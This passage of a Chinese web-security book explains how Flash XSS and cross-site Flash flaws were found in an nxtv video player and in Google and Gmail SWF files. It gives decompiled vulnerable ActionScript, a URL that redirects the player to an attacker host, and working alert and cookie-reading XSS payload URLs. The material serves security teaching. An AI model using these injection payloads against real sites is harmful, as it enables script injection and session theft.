返回介绍

6.4 Flash XSS 挖掘

发布于 2024-01-20 15:41:04 字数 4248 浏览 0 评论 0 收藏 0

Flash安全的基础知识在第2章已经介绍得非常详细了,下面介绍两个具有代表性的实例。

6.4.1 XSF挖掘思路

XSF即Cross Site Flash,基本概念可查看第2章相关的内容。

很多网站的Flash播放器都会有XSF风险,因为这些播放器需要能够灵活加载第三方Flash资源进行播放。不过这样的XSF风险其实非常小,因为浏览器直接访问Flash文件时,安全沙箱的限制是很严格的。所以,下面分析的nxtv flash player只需了解思路即可,这样的XSF漏洞在这样的场景下毫无价值,有价值的是思路。

漏洞文件:http://video.nxtv.cn/flashapp/player.swf

分析方法分为静态分析和动态分析。

1. 静态分析

我们可以使用SWFScan图形化界面或者用swfdump命令行工具进行反编译得到Action-Script代码,这两个工具都很不错,下面以SWFS-can为例进行说明。

如图6-5所示为SWFScan界面截图,在Prop-erties栏中可以看到这是用AS2编写的Flash。AS2有全局变量覆盖风险,这个SWFScan对我们来说,最大的价值就是Source栏的源码,其他功能一般不用,用肉眼扫过源码,在反编译出来的源码中发现下面一段代码。

图6-5 SWFScan界面截图

var myXML = new XML();
var __callResult_162 = 
myXML.load(( ( "http://" + _root.host ) + "/load.php?action=playerad" ));
myXML.ignoreWhite = True;
myXML.onLoad = function (success) {
  type = myXML.childNodes.0.childNodes.0.childNodes.0.nodeValue;
  adurl = myXML.childNodes.0.childNodes.1.childNodes.0.nodeValue;
  _global.sec = Number(myXML.childNodes.0.childNodes.2.childNodes.0.nodeValue) ;
  std = myXML.childNodes.0.childNodes.3.childNodes.0.nodeValue;
  if ( ( std == 1 ) ) {
    if ( ( type == 1 ) ) {
      mp1.contentPath = ( ( ( "http://" + _root.host ) + "/" ) + adurl );
      var __callResult_267 = mp1.play();

首先加载远程XML文件,这个功能是AS经常使用的,因为该功能非常方便,使用简单,且XML可配置性很高。后面的很多功能都会用到XML文件里的相关数据,如果能劫持这个XML,就能劫持之后的很多操作。

这里加载远程XML文件是可劫持的:_root.host,这样的全局变量可以直接通过URL方式提交,如:

http://video.nxtv.cn/flashapp/player.swf?host=evilcos.me

此时远程XML文件为:

http://evilcos.me/load.php?action=playerad

内容如图6-6所示。

图6-6 远程XML内容

这样的XML结构和原始的是一致的,只是我们把内容替换为自己恶意构造的,之后mp1.play();的contentPath值( ( ( "http://" + _root.host ) + "/" )+ adurl );变为:

http://evilcos.me/flash/video.swf

这样就加载了第三方Flash进行播放,从而造成XSF攻击。

其实,完全静态地用肉眼分析是不太容易的,很多时候我们还会结合动态方式进行分析,比如在Firefox下Firebug的网络请求中发现一些额外的请求,更能清晰地理解目标Flash的运行流畅。

2. 动态分析

Firebug网络数据如图6-7所示。

图6-7 Firebug网络数据

注意,加载第三方资源时需要第三方域的根目录下有crossdomain.xml文件,并且授权这样的跨域请求。顺便说一下,如果是直接加载第三方Flash文件,则不需要crossdomain.xml的授权。

6.4.2 Google Flash XSS挖掘

截止写书时刻,本节提到的Google Flash XSS还是一个0day,如果我们不公开,估计能存活很久,公开它的另一个原因是,这个0day的威力已经不大了。

有一个XSS如下:

http://www.google.com/enterprise/mini/control.swf?onend=javascript:alert(document.do-main)

请求后跳转到:

http://static.googleusercontent.com/exter-nal_content/untrusted_dlcp/www.go…/zh-CN//enterprise/mini/control.swf?onend=javascript:alert(document.domain)

Google Flash XSS截图如图6-8所示。

图6-8 Google Flash XSS截图

威力不大的是因为Google对它们的域分离得非常好,把那些无关紧要的内容都放到了其他域名上,这样,这个XSS就是鸡肋了。

可大家感兴趣的应该是我们是如何发现它的吧?下面介绍这个XSS的挖掘过程。

首先,进行www.google.com搜索。

filetype:swf site:google.com

找到了很多google.com域上的Flash文件,其中就有:

http://www.google.com/enterprise/mini/control.swf

反编译得到如图6-9所示的结果。

图6-9 control.swf反编译后的结果

这是AS2代码,getURL里直接就是_level0.onend,全局变量未初始化。这个con-trol.swf还关联了其他的Flash文件,大家有兴趣可以逐一分析,还有一些其他问题。不过对我们来说,有XSS就够了。

顺便说一下,2010年Gmail的一个Flash XSS被爆,XSS代码网址为:

https://mail.google.com/mail/uploader/uploaderapi2.swf?apiInit=eval&apiId=alert(doc-ument.cookie)

触发代码片段如下:

var flashParams:* = LoaderInfo(this.root.loaderInfo).parameters;
API_ID = "apiId" in flashParams ? (String(flashParams.apiId)) : ("");
API_INIT = "apiInit" in flashParams ? (String(flashParams.apiInit)) : ("onUploaderApiReady");
...
if (ExternalInterface.available) {
  ExternalInterface.call(API_INIT, API_ID);
}

上面这段代码是AS3代码,它存在非常明显的XSS漏洞。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文